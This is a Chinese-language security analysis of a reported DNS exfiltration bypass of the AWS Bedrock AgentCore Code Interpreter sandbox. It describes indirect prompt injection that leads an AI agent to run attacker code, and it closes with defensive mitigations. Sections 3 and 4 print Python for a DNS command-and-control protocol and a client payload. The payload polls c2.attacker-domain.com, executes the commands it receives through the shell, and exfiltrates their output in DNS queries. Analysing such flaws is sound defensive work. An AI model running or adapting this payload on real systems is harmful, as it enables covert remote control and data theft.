1. 簡介

人工智慧(AI)快速整合至企業工作流程中,引入了新興的攻擊面,特別是在 AI 代理人執行動態程式的環境中。這些系統中的關鍵安全邊界是 沙箱(sandbox) ,其設計目的是將程式執行與敏感內部資源及公共網際網路隔離。然而,近期針對 AWS Bedrock AgentCore Code Interpreter 的研究揭示了一個重大的架構缺陷:即使在「沙箱模式」下,仍然允許發出對外 DNS 查詢 [1] 。本報告分析了此繞過機制的技術細節、利用 DNS 的 command-and-control (C2) 協定實作方式,以及其對 AI 基礎架構安全的廣泛影響。

AWS沙箱真的隔離了嗎?DNS查詢如何成為AI環境的資料外洩管道 | 資訊安全新聞

2. 沙箱繞過的技術架構

AWS Bedrock AgentCore Code Interpreter 使用 Firecracker microVMs 為 Python、JavaScript 和 shell 程式碼提供輕量級、隔離的執行環境。雖然 AWS 宣稱「沙箱」網路模式提供了「完全隔離且無外部存取」,但研究發現該環境仍然允許 A AAAA DNS 記錄查詢 [1] 。此疏忽讓攻擊者能夠透過 DNS 協定偷偷傳輸資料與指令,而傳統的網路隔離控制通常會忽略這個管道。

2.1 攻擊面與威脅向量

攻擊者可以透過多種向量在直譯器中執行程式碼,包含 間接提示注入(Indirect Prompt Injection) ,即惡意指令被嵌入 AI 處理的專案中繼資料(Metadata)或檔案中 [2] 。一旦成功執行程式碼,DNS 查詢功能就會成為一個用於資料外洩的隱蔽通道。

graph TD A[Attacker] -->|1#46; Inject Payload| B(AI Chatbot) B -->|2#46; Execute Code| C{Code Interpreter Sandbox} C -->|3#46; DNS Query| D[Route53 /
DNS Infrastructure] D -->|4#46; Delegate| E[Attacker DNS C2 Server] E -->|5#46; Command Response| D D -->|6#46; DNS Response| C C -->|7#46; Execute Command| C C -->|8#46; Exfiltrate Data| D

圖 1:利用 DNS 的沙箱突破架構流程圖。

3. DNS C2 協定實作

此突破的核心是一個自訂的雙向協定,它利用 DNS 查詢來外洩資料,並利用 DNS 回應來傳遞指令。此協定必須克服 DNS 的限制,例如字元限制和快取機制。

3.1 透過 A 記錄傳遞指令

指令被編碼到 IPv4 位址的位元組中,並透過回應 DNS 查詢返回給沙箱環境。該協定使用第一個位元組中的「繼續標記」來處理多段指令。

  1. # Command Delivery Protocol Analysis
  2. # First octet: 10 (more chunks) or 11 (last chunk)
  3. # Octets 2-4: ASCII values of 3 characters
  4. # Example: 10.100.50.104 -> "d2h" (base64 chunk)
  5. def decode_chunk_from_ip(ip_address):
  6. octets = ip_address.split('.')
  7. if len(octets) != 4:
  8. return None
  9. # Check continuation flag
  10. is_last = (octets[0] == "11")
  11. # Extract ASCII characters from octets 2, 3, and 4
  12. chunk = ""
  13. for i in range(1, 4):
  14. val = int(octets[i])
  15. if val > 0:
  16. chunk += chr(val)
  17. return chunk, is_last

3.2 透過子網域查詢外洩資料

資料外洩是透過將 base64 編碼的字串嵌入 DNS 查詢的子網域中來實現。為了繞過快取並確保送達,該協定包含了序號和時間戳記。

  1. # Data Exfiltration Protocol Analysis
  2. # Format: [cmd_seq].[chunk_num].[total_chunks].[timestamp].[encoded_data].[session_id].[domain]
  3. def craft_exfil_query(data, session_id, domain):
  4. # Base64 encode and make DNS-safe (replace '=' with '-')
  5. encoded = base64.b64encode(data.encode()).decode().replace('=', '-')
  6. # Split into 60-character chunks for DNS label limits
  7. chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
  8. queries = []
  9. for i, chunk in enumerate(chunks):
  10. timestamp = int(time.time())
  11. # Construct the FQDN for the exfiltration query
  12. query = f"1.{i+1}.{len(chunks)}.{timestamp}.{chunk}.{session_id}.{domain}"
  13. queries.append(query)
  14. return queries

4. 突破 Payload 的程式碼分析

以下 Python 腳本展示了一個「迷你版」的用戶端 Payload,它會在沙箱環境內執行。它會持續 poll C2 伺服器以獲取指令,並將執行結果外洩出去。

  1. import subprocess, base64, time, os
  2. # Configuration placeholders
  3. D = 'c2.attacker-domain.com'
  4. S = 'sess_12345'
  5. P = 3 # Poll interval
  6. def q(n):
  7. """Execute a DNS query using getent to bypass high-level libraries."""
  8. try:
  9. # getent hosts triggers a DNS lookup for the given name
  10. r = subprocess.run(['getent', 'hosts', n], capture_output=True, text=True, timeout=5)
  11. if r.returncode == 0:
  12. return r.stdout.split()[0] # Return the IP address
  13. except: pass
  14. return None
  15. def poll(s, c):
  16. """Poll for commands by querying a specific subdomain."""
  17. # Query format: cmd.[command_index].[session_id].[domain]
  18. r = q(f"cmd.{c}.{s}.{D}")
  19. if not r or r == "127.0.0.1": return None
  20. # Decode command from IP octets (simplified logic)
  21. # In a full implementation, this would loop to collect all chunks
  22. return decode_command_from_ip(r)
  23. def exfil(s, d, c):
  24. """Exfiltrate command output via DNS subdomains."""
  25. encoded = base64.b64encode(d.encode()).decode().replace('=', '-')
  26. # Send each chunk as a DNS query
  27. for i, chunk in enumerate(split_into_chunks(encoded)):
  28. q(f"out.{i}.{c}.{chunk}.{s}.{D}")
  29. # Main execution loop
  30. cmd_idx = 0
  31. while True:
  32. cmd = poll(S, cmd_idx)
  33. if cmd:
  34. # Execute the received command
  35. result = subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout
  36. exfil(S, result, cmd_idx)
  37. cmd_idx += 1
  38. time.sleep(P)

5. AI 沙箱安全性比較分析

AWS Bedrock AgentCore 中的這個漏洞並非單一事件,而是 AI 安全領域更廣泛趨勢的一部分。在其他與 AI 整合的工具中也觀察到類似問題,這些工具的共通點在於「可信」與「不可信」輸入之間的邊界變得模糊。

功能 AWS Bedrock AgentCore (沙箱模式) GitLab Duo (提示注入) 傳統網路沙箱
主要漏洞 DNS 查詢洩漏 [1] 間接提示注入 [2] 防火牆規則設定錯誤
外洩管道 DNS Tunneling HTML 注入 / 圖片標籤 [2] HTTP/S, ICMP, DNS
隔離級別 微型虛擬機 (Firecracker) 應用程式層級的環境 完整虛擬機 / 容器
修復方式 VPC 模式 / DNS 過濾 輸入清理 / 環境隔離 [2] 嚴格對外流量過濾

6. 緩解措施與防禦指引

為了防禦利用 DNS 的沙箱突破,組織必須超越單純的網路隔離,實施深度封包檢測和具備協定感知能力的過濾機制。

  • VPC 模式: AWS 建議為 AgentCore Code Interpreter 使用「VPC 模式」而非「沙箱模式」,以完全掌控網路流量 [1]
  • DNS 過濾: 部署 DNS 防火牆,封鎖對未知或可疑網域的查詢。
  • 對外流量監控: 監控異常的 DNS 流量模式,例如高頻率查詢或長子網域,這些都是 DNS 隧道 (DNS tunneling) 的特徵 [3]
  • 最小權限原則: 確保指派給 Code Interpreter 的 IAM 角色擁有最低必要權限,以防止突破發生時執行未經授權的 AWS API 呼叫。

7. 結論

在 AWS Bedrock AgentCore Code Interpreter 中發現的利用 DNS 的資料外洩問題,凸顯了保護 AI 執行環境的複雜性。雖然使用 Firecracker 微型虛擬機提供了強大的運算層級隔離,但未能限制 DNS 存取卻造成了一個重大的安全缺口。隨著 AI 系統變得更加自主,「沙箱」必須被視為多層次的深度防禦架構,其中網路、運算和應用程式層級的控制都必須嚴格執行。